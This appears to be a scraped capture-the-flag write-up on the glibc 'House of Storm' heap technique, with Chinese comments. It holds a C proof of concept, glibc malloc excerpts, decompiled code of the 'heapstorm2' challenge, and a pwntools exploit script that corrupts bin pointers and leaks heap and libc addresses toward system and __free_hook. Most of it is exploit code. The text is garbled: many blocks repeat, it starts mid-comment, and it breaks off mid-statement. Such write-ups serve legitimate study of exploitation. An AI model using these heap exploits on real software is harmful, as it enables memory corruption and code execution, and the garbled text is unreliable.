Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts
(
"Make allocation of the size that the value will be written for."
);
puts
(
"Once the allocation happens, the madness begins"
);
puts
(
"Once in the unsorted bin, the 'large bin' chunk will be used in orer to "
);
puts
(
"write a fake 'size' value to the location of our target."
);
puts
(
"After this, the target will have a valid size."
);
puts
(
"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"
);
puts
(
"size and remove it from the bin."
);
puts
(
"With this, we have pulled out an arbitrary chunk!"
);
printf
(
"String before: %s\n"
, target);
printf
(
"String pointer: %p\n"
, target);
ptr =
malloc
(alloc_size);
strncpy
(ptr,
"\x41\x42\x43\x44\x45\x46\x47"
, 0x58 - 1);
printf
(
"String after %s\n"
, target);
printf
(
"Fake chunk ptr: %p\n"
, ptr);
return
0;
}
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char
filler[0x10];
char
target[0x60];
void
init(){
setvbuf
(stdout, NULL, _IONBF, 0);
setvbuf
(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int
get_shift_amount(
char
* pointer){
int
shift_amount = 0;
long
long
ptr = (
long
long
)pointer;
while
(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return
shift_amount - 1;
// Want amount PRIOR to this being zeroed out
}
int
main(){
init();
char
*unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts
(
"House of Storm"
);
puts
(
"======================================"
);
puts
(
"Preparing chunks for the exploit"
);
puts
(
"Put one chunk into unsorted bin and the other into the large bin"
);
puts
(
"The unsorted bin chunk MUST be larger than the large bin chunk."
);
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin =
malloc
( 0x4e8 );
// size 0x4f0
// prevent merging
malloc
( 0x18 );
puts
(
"Find the proper chunk size to allocate."
);
puts
(
"Must be exactly the size of the written chunk from above."
);
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int
shift_amount = get_shift_amount(unsorted_bin);
printf
(
"Shift Amount: %d\n"
, shift_amount);
size_t
alloc_size = ((
size_t
)unsorted_bin) >> (8 * shift_amount);
if
(alloc_size < 0x10){
printf
(
"Chunk Size: 0x%lx\n"
, alloc_size);
puts
(
"Chunk size is too small"
);
exit
(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10;
// Remove the size bits
printf
(
"In this case, the chunk size is 0x%lx\n"
, alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if
((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts
(
"Allocation size has bit 4 of the size set or "
);
puts
(
"mmap and non-main arena bit check will fail"
);
puts
(
"Please try again! :)"
);
puts
(
"Exiting..."
);
return
1;
}
large_bin =
malloc
( 0x4d8 );
// size 0x4e0
// prevent merging
malloc
( 0x18 );
// FIFO
free
( large_bin );
// put small chunks first
free
( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin =
malloc
(0x4e8);
free
(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts
(
"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"
);
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
// Only needs to be a valid address.
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->bk
puts
(
"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"
);
puts
(
"of your fake chunk."
);
puts
(
"Misalign the location in order to use the primitive as a SIZE value."
);
puts
(
"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."
);
puts
(
"Vulnerability #2!"
);
puts
(
"Overwrite large bins bk->nextsize with the address to put our fake chunk size at."
);
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts
(
"Make allocation of the size that the value will be written for."
);
puts
(
"Once the allocation happens, the madness begins"
);
puts
(
"Once in the unsorted bin, the 'large bin' chunk will be used in orer to "
);
puts
(
"write a fake 'size' value to the location of our target."
);
puts
(
"After this, the target will have a valid size."
);
puts
(
"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"
);
puts
(
"size and remove it from the bin."
);
puts
(
"With this, we have pulled out an arbitrary chunk!"
);
printf
(
"String before: %s\n"
, target);
printf
(
"String pointer: %p\n"
, target);
ptr =
malloc
(alloc_size);
strncpy
(ptr,
"\x41\x42\x43\x44\x45\x46\x47"
, 0x58 - 1);
printf
(
"String after %s\n"
, target);
printf
(
"Fake chunk ptr: %p\n"
, ptr);
return
0;
}
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->bk
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
((
size_t
*)unsorted_bin)[1] = (
size_t
)fake_chunk;
// unsorted_bin->bk
((
size_t
*) large_bin )[1] = (
size_t
)fake_chunk + 8 ;
// large_bin->bk
((
size_t
*) large_bin)[3] = (
size_t
)fake_chunk - 0x18 - shift_amount;
// large_bin->bk_nextsize
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
// bck==fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
// bck==fake_chunk
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
//victim==unsortedbin_chunk; fwd == largebin_chunk;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
//victim==unsortedbin_chunk; fwd == largebin_chunk;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* main 函数 */
__int64
__fastcall main(
__int64
a1,
char
**a2,
char
**a3)
{
__int64
v4;
// [rsp+8h] [rbp-8h]
v4 = Init();
while
( 1 )
{
menu();
switch
( get_num() )
{
case
1LL:
Allocate(v4);
break
;
case
2LL:
Update(v4);
break
;
case
3LL:
Delete(v4);
break
;
case
4LL:
View(v4);
break
;
case
5LL:
return
0LL;
default
:
continue
;
}
}
}
/* menu 函数 */
int
menu()
{
puts
(
"1. Allocate"
);
puts
(
"2. Update"
);
puts
(
"3. Delete"
);
puts
(
"4. View"
);
puts
(
"5. Exit"
);
return
printf
(
"Command: "
);
}
/* main 函数 */
__int64
__fastcall main(
__int64
a1,
char
**a2,
char
**a3)
{
__int64
v4;
// [rsp+8h] [rbp-8h]
v4 = Init();
while
( 1 )
{
menu();
switch
( get_num() )
{
case
1LL:
Allocate(v4);
break
;
case
2LL:
Update(v4);
break
;
case
3LL:
Delete(v4);
break
;
case
4LL:
View(v4);
break
;
case
5LL:
return
0LL;
default
:
continue
;
}
}
}
/* menu 函数 */
int
menu()
{
puts
(
"1. Allocate"
);
puts
(
"2. Update"
);
puts
(
"3. Delete"
);
puts
(
"4. View"
);
puts
(
"5. Exit"
);
return
printf
(
"Command: "
);
}
/* Init 函数 */
__int64
Init()
{
int
i;
// [rsp+8h] [rbp-18h]
int
fd;
// [rsp+Ch] [rbp-14h]
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts
(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n"
);
puts
(
"===== HEAP STORM II ====="
);
if
( !mallopt(1, 0) )
// 关闭fastbin分配
exit
(-1);
if
( mmap((
void
*)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (
void
*)0x13370000 )
// 在0x13370000处 mmap出了一片空间作为heaparray
exit
(-1);
fd = open(
"/dev/urandom"
, 0);
if
( fd < 0 )
exit
(-1);
if
( read(fd, (
void
*)0x13370800, 0x18uLL) != 0x18 )
// 读入 3 个 0x8 大小的随机数, r1, r2, r3。
exit
(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
// r4 = r3
for
( i = 0; i <= 15; ++i )
{
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL);
// ptr = r1 ^ 0
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL);
// size = r2 ^ 0
}
return
0x13370800LL;
}
/* Init 函数 */
__int64
Init()
{
int
i;
// [rsp+8h] [rbp-18h]
int
fd;
// [rsp+Ch] [rbp-14h]
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts
(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n"
);
puts
(
"===== HEAP STORM II ====="
);
if
( !mallopt(1, 0) )
// 关闭fastbin分配
exit
(-1);
if
( mmap((
void
*)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (
void
*)0x13370000 )
// 在0x13370000处 mmap出了一片空间作为heaparray
exit
(-1);
fd = open(
"/dev/urandom"
, 0);
if
( fd < 0 )
exit
(-1);
if
( read(fd, (
void
*)0x13370800, 0x18uLL) != 0x18 )
// 读入 3 个 0x8 大小的随机数, r1, r2, r3。
exit
(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
// r4 = r3
for
( i = 0; i <= 15; ++i )
{
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL);
// ptr = r1 ^ 0
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL);
// size = r2 ^ 0
}
return
0x13370800LL;
}
/* alloc 函数 */
void
__fastcall Allocate(
__int64
a1)
{
int
i;
// [rsp+10h] [rbp-10h]
int
size;
// [rsp+14h] [rbp-Ch]
void
*v3;
// [rsp+18h] [rbp-8h]
for
( i = 0; i <= 15; ++i )
// 0~15
{
if
( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
{
printf
(
"Size: "
);
size = get_num();
if
( size > 0xC && size <= 0x1000 )
{
v3 =
calloc
(size, 1uLL);
if
( !v3 )
exit
(-1);
*(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
*(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
printf
(
"Chunk %d Allocated\n"
, (unsigned
int
)i);
}
else
{
puts
(
"Invalid Size"
);
}
return
;
}
}
}
/* 不难推测结构体 */
struct
Heap
{
void
* ptr;
uint size;
};
/* alloc 函数 */
void
__fastcall Allocate(
__int64
a1)
{
int
i;
// [rsp+10h] [rbp-10h]
int
size;
// [rsp+14h] [rbp-Ch]
void
*v3;
// [rsp+18h] [rbp-8h]
for
( i = 0; i <= 15; ++i )
// 0~15
{
if
( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
{
printf
(
"Size: "
);
size = get_num();
if
( size > 0xC && size <= 0x1000 )
{
v3 =
calloc
(size, 1uLL);
if
( !v3 )
exit
(-1);
*(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
*(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
printf
(
"Chunk %d Allocated\n"
, (unsigned
int
)i);
}
else
{
puts
(
"Invalid Size"
);
}
return
;
}
}
}
/* 不难推测结构体 */
struct
Heap
{
void
* ptr;
uint size;
};
/* update */
int
__fastcall Update(
__int64
a1)
{
signed
int
idx;
// [rsp+10h] [rbp-20h]
int
size;
// [rsp+14h] [rbp-1Ch]
__int64
v4;
// [rsp+18h] [rbp-18h]
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
printf
(
"Size: "
);
size = get_num();
if
( size <= 0 || size > (unsigned
__int64
)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )
// size-0xC
return
puts
(
"Invalid Size"
);
printf
(
"Content: "
);
v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
read_n(v4, size);
strcpy
((
char
*)(size + v4),
"HEAPSTORM_II"
);
// off-by-null,读满会把 '\x00' 复制过去。
return
printf
(
"Chunk %d Updated\n"
, (unsigned
int
)idx);
}
/* update */
int
__fastcall Update(
__int64
a1)
{
signed
int
idx;
// [rsp+10h] [rbp-20h]
int
size;
// [rsp+14h] [rbp-1Ch]
__int64
v4;
// [rsp+18h] [rbp-18h]
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
printf
(
"Size: "
);
size = get_num();
if
( size <= 0 || size > (unsigned
__int64
)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )
// size-0xC
return
puts
(
"Invalid Size"
);
printf
(
"Content: "
);
v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
read_n(v4, size);
strcpy
((
char
*)(size + v4),
"HEAPSTORM_II"
);
// off-by-null,读满会把 '\x00' 复制过去。
return
printf
(
"Chunk %d Updated\n"
, (unsigned
int
)idx);
}
/* del 函数 */
int
__fastcall Delete(
__int64
a1)
{
void
*v2;
// rax
signed
int
idx;
// [rsp+1Ch] [rbp-4h]
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
v2 = (
void
*)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
free
(v2);
*(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
*(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
return
printf
(
"Chunk %d Deleted\n"
, (unsigned
int
)idx);
}
/* del 函数 */
int
__fastcall Delete(
__int64
a1)
{
void
*v2;
// rax
signed
int
idx;
// [rsp+1Ch] [rbp-4h]
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
v2 = (
void
*)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
free
(v2);
*(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
*(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
return
printf
(
"Chunk %d Deleted\n"
, (unsigned
int
)idx);
}
/* view 函数 */
int
__fastcall View(
__int64
a1)
{
__int64
v2;
// rbx
__int64
v3;
// rax
signed
int
idx;
// [rsp+1Ch] [rbp-14h]
if
( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL )
// 条件 r3 ^ r2== 0x13377331
return
puts
(
"Permission denied"
);
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
printf
(
"Chunk[%d]: "
, (unsigned
int
)idx);
v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
write_n(v3, v2);
return
puts
(byte_180A);
}
/* view 函数 */
int
__fastcall View(
__int64
a1)
{
__int64
v2;
// rbx
__int64
v3;
// rax
signed
int
idx;
// [rsp+1Ch] [rbp-14h]
if
( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL )
// 条件 r3 ^ r2== 0x13377331
return
puts
(
"Permission denied"
);
printf
(
"Index: "
);
idx = get_num();
if
( (unsigned
int
)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
return
puts
(
"Invalid Index"
);
printf
(
"Chunk[%d]: "
, (unsigned
int
)idx);
v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
write_n(v3, v2);
return
puts
(byte_180A);
}
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
connect():
global
r, elf, libc
r
=
process(
'./heapstorm2'
)
elf
=
ELF(
"./heapstorm2"
)
libc
=
elf.libc
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(r, gdbscript
=
gdbscript)
pause()
else
:
pass
def
add(size):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
1
).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(size).encode())
def
delete(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
3
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
show(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
4
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
edit(index,content):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
2
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(
len
(content)).encode())
r.recvuntil(b
"Content: "
)
r.send(content)
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
connect():
global
r, elf, libc
r
=
process(
'./heapstorm2'
)
elf
=
ELF(
"./heapstorm2"
)
libc
=
elf.libc
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(r, gdbscript
=
gdbscript)
pause()
else
:
pass
def
add(size):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
1
).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(size).encode())
def
delete(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
3
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
show(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
4
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
edit(index,content):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
2
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(
len
(content)).encode())
r.recvuntil(b
"Content: "
)
r.send(content)
def
overlapping():
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2 prev_size 0x510
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5 prev_size 0x510
add(
0x18
)
# 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(
1
, b
'a'
*
0x4f0
+
p64(
0x500
))
# fake_prev_size
delete(
1
)
#debug() # d2 ----------------------------------
edit(
0
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(
0x18
)
# 1
add(
0x4d8
)
# 7
#debug() # d4 ----------------------------------
delete(
1
)
delete(
2
)
#debug() # d5 ----------------------------------
add(
0x38
)
# 1
add(
0x4e8
)
# 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(
4
, b
'a'
*
0x4f0
+
p64(
0x500
))
delete(
4
)
edit(
3
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
add(
0x18
)
# 4
add(
0x4d8
)
# 8
delete(
4
)
delete(
5
)
add(
0x48
)
# 4 0x530 - 0x50 = 0x4e0
#debug() # d6 ----------------------------------
delete(
2
)
#debug() # d7 ----------------------------------
add(
0x4e8
)
# 2 把0x4e1的chunk放入到largebin中
#debug() # d8 ----------------------------------
delete(
2
)
# 把0x4F1的chunk放入到unsorted bin中
#debug() # d9 ----------------------------------
def
overlapping():
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2 prev_size 0x510
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5 prev_size 0x510
add(
0x18
)
# 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(
1
, b
'a'
*
0x4f0
+
p64(
0x500
))
# fake_prev_size
delete(
1
)
#debug() # d2 ----------------------------------
edit(
0
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(
0x18
)
# 1
add(
0x4d8
)
# 7
#debug() # d4 ----------------------------------
delete(
1
)
delete(
2
)
#debug() # d5 ----------------------------------
add(
0x38
)
# 1
add(
0x4e8
)
# 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(
4
, b
'a'
*
0x4f0
+
p64(
0x500
))
delete(
4
)
edit(
3
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
add(
0x18
)
# 4
add(
0x4d8
)
# 8
delete(
4
)
delete(
5
)
add(
0x48
)
# 4 0x530 - 0x50 = 0x4e0
#debug() # d6 ----------------------------------
delete(
2
)
#debug() # d7 ----------------------------------
add(
0x4e8
)
# 2 把0x4e1的chunk放入到largebin中
#debug() # d8 ----------------------------------
delete(
2
)
# 把0x4F1的chunk放入到unsorted bin中
#debug() # d9 ----------------------------------
def
leak():
global
free_hook, storage, system, str_bin_sh
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
payload
=
b
'\x00'
*
0x10
payload
+
=
p64(
0
)
+
p64(
0x4f1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk)
edit(
7
, payload)
#debug() # d10 ----------------------------------
payload
=
b
'\x00'
*
0x20
payload
+
=
p64(
0
)
+
p64(
0x4e1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
+
0x8
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
edit(
8
, payload)
#debug() # d11 ----------------------------------
add(
0x48
)
# 2 0x133707e0
#debug() # d12 ----------------------------------
payload
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
, payload)
#debug()
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
# chunk0 addr size
payload
+
=
p64(fake_chunk
+
3
)
+
p64(
8
)
# chunk1 addr size
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
heap
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
success(
"heap:"
+
hex
(heap))
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(heap
+
0x10
)
+
p64(
8
)
edit(
0
, payload)
show(
1
)
r.recvuntil(b
"]: "
)
malloc_hook
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
-
0x58
-
0x10
libc.address
=
malloc_hook
-
libc.sym[
'__malloc_hook'
]
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
str_bin_sh
=
next
(libc.search(b
'/bin/sh\x00'
))
success(
"malloc_hook:"
+
hex
(malloc_hook))
def
leak():
global
free_hook, storage, system, str_bin_sh
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
payload
=
b
'\x00'
*
0x10
payload
+
=
p64(
0
)
+
p64(
0x4f1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk)
edit(
7
, payload)
#debug() # d10 ----------------------------------
payload
=
b
'\x00'
*
0x20
payload
+
=
p64(
0
)
+
p64(
0x4e1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
+
0x8
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
edit(
8
, payload)
#debug() # d11 ----------------------------------
add(
0x48
)
# 2 0x133707e0
#debug() # d12 ----------------------------------
payload
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
, payload)
#debug()
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
# chunk0 addr size
payload
+
=
p64(fake_chunk
+
3
)
+
p64(
8
)
# chunk1 addr size
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
heap
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
success(
"heap:"
+
hex
(heap))
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
+
p64(heap
+
0x10
)
+
p64(
8
)
edit(
0
, payload)
show(
1
)
r.recvuntil(b
"]: "
)
malloc_hook
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
-
0x58
-
0x10
libc.address
=
malloc_hook
-
libc.sym[
'__malloc_hook'
]
free_hook
=
